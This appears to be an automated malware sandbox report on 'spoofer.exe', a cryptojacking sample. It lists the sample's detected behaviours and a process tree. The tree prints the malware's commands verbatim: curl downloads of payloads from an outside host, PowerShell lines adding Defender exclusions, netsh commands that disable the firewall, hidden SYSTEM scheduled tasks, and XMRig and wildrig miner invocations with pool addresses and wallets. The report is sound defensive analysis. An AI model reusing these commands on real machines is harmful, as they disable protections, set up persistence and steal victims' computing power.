Analysis
- user interaction
yes - max time kernel
900s - max time network
904s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
02/10/2026, 09:26
General
- Target spoofer.exe
- Size 1.1MB
- Sample261002-lef46sshpg
- SHA256 1e27213e23100899b96b85c4908683660cba1659ed0fd6d0e2a49ecea710aabd
Score
10/10
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 47 IoCs
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
- Command and Scripting Interpreter: PowerShell 1 TTPs 63 IoCs
Run Powershell and hide display window.
- Modifies Windows Firewall 2 TTPs 35 IoCs
- Cryptocurrency Miner
Makes network request to known mining pool URL.
- Executes a file named after a Windows system binary 1 TTPs 2 IoCs
The file runs from a user directory while carrying the name of an executable that normally only exists in System32.
- Executes dropped EXE 64 IoCs
- Loads dropped DLL 64 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates connected drives 3 TTPs 37 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Drops file in System32 directory 5 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Drops file in Windows directory 8 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 64 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 50 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 62 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Kills process with taskkill 1 IoCs
- Modifies Internet Explorer settings 1 TTPs 1 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Modifies registry class 36 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 61 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 57 IoCs
- Suspicious use of SetWindowsHookEx 4 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
Processes
-
C:\Users\Admin\AppData\Local\Temp\spoofer.exe"C:\Users\Admin\AppData\Local\Temp\spoofer.exe"1⤵
- Reads the TCP/IP host and domain name from the registry
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\curl.exe"curl" "-k" "-L" "-s" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip.downloading" "https://www.python.org/ftp/python/3.12.7/python-3.12.7-embed-amd64.zip"2⤵
-
-
C:\Windows\SYSTEM32\tar.exe"tar" "-xf" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.zip" "-C" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex"2⤵
-
-
C:\Windows\SYSTEM32\curl.exe"curl" "-k" "-L" "-s" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\get-pip.py" "https://bootstrap.pypa.io/get-pip.py"2⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\get-pip.py"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Windows\SYSTEM32\curl.exe"curl" "-k" "-s" "-X" "PUT" "-H" "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" "-H" "x-cdn-origin-verify: trusted-upstream" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\requirements.txt" "https://thisisafalsepositive.st/cdn/5ef451455923"2⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe" "-m" "pip" "install" "-r" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\requirements.txt"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Windows\SYSTEM32\curl.exe"curl" "-k" "-s" "-X" "PUT" "-H" "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" "-H" "x-cdn-origin-verify: trusted-upstream" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\AppHost\main.py.downloading" "https://thisisafalsepositive.st/cdn/e/42a522313d92"2⤵
-
-
C:\Windows\SYSTEM32\curl.exe"curl" "-k" "-s" "-X" "PUT" "-H" "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" "-H" "x-cdn-origin-verify: trusted-upstream" "-o" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\AppHost\app.pyd.downloading" "https://thisisafalsepositive.st/cdn/e/36f2c0035ef9"2⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\python.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\NtProfileIndex\AppHost\main.py" "-u" "1bdecc11-5c44-48d6-86d2-3b00d6c3c575" "--host" "thisisafalsepositive.st" "--env" "EXE"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\get-pip.py3⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Scripts\pip.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Scripts\pip.exe install -r C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\requirements.txt3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\Scripts\pip.exe" install -r C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\requirements.txt4⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
-
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\AppHost\main.py -u 1bdecc11-5c44-48d6-86d2-3b00d6c3c5753⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery\OEM' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn RuntimeBroker /tr C:\Recovery\OEM\WindowsEssentials\RuntimeBroker.exe /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /run /tn RuntimeBroker4⤵
-
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall delete rule "name=Windows Security Health Service"4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall add rule "name=Windows Security Health Service" dir=in action=allow program=C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe enable=yes profile=any4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SYSTEM32\netsh.exenetsh advfirewall firewall add rule "name=Windows Security Health Service" dir=out action=allow program=C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe enable=yes profile=any4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\IManagementEngine\python.exe' -ErrorAction SilentlyContinue"4⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Diagnostics\Performance\PerfMonHost.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\Diagnostics\Performance\PerfMonHost.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\notepad.exe"C:\Windows\system32\notepad.exe" --donate-level 3 -o pool.supportxmr.com:3333 -u 45KU8RaHwRzC5NJY6HBALWZQ9dpwLjrMK8HYbk5svzHvLwC7W1QrxZb6bUop6FnDmYS3bHFCKg1MD28779yVKbwo6toBGAh -p x --cpu-max-threads-hint=50 -a rx/0 --http-port 88885⤵
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Users\Admin\AppData\Local\Temp\SystemInterrupts.exeC:\Users\Admin\AppData\Local\Temp\SystemInterrupts.exe4⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SYSTEM32\taskkill.exetaskkill /F /IM ShellHost.exe4⤵
- Kills process with taskkill
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe4⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe' -ErrorAction SilentlyContinue"5⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery' -ErrorAction SilentlyContinue"5⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\schtasks.exe"schtasks" /Delete /TN StateRepositoryBroker /F5⤵
-
-
C:\Windows\system32\schtasks.exe"schtasks" /Create /TN StateRepositoryBroker /TR \"C:\Users\Admin\AppData\Local\Microsoft\Windows\ContentDelivery\ShellHost.exe\" /SC MINUTE /MO 1 /RL HIGHEST /F5⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -Command "$t=Get-ScheduledTask 'StateRepositoryBroker' -EA 0;if($t){$s=$t.Settings;$s.Compatibility='Win8';$s.DisallowStartIfOnBatteries=$false;$s.StopIfGoingOnBatteries=$false;$s.ExecutionTimeLimit='PT0S';$s.Hidden=$true;Set-ScheduledTask -InputObject $t}"5⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces' -ErrorAction SilentlyContinue"5⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'wildrig.exe' -ErrorAction SilentlyContinue"5⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\Diagnostics\PerformanceTraces\wildrig.exe" -a pearlhash --url pool.pearlhash.xyz:9000 --user prl1p4mukrjmu7dawxljtjcyz99zen65959pzk85gwt7w3sqtj46ku8zqshtpsk@nock=2bjSN2KsbJGpTQTFDUKtA5KkuG4kQ3nGtAXTuohfDbQq2EnXBoTmuE35⤵
- Executes dropped EXE
-
-
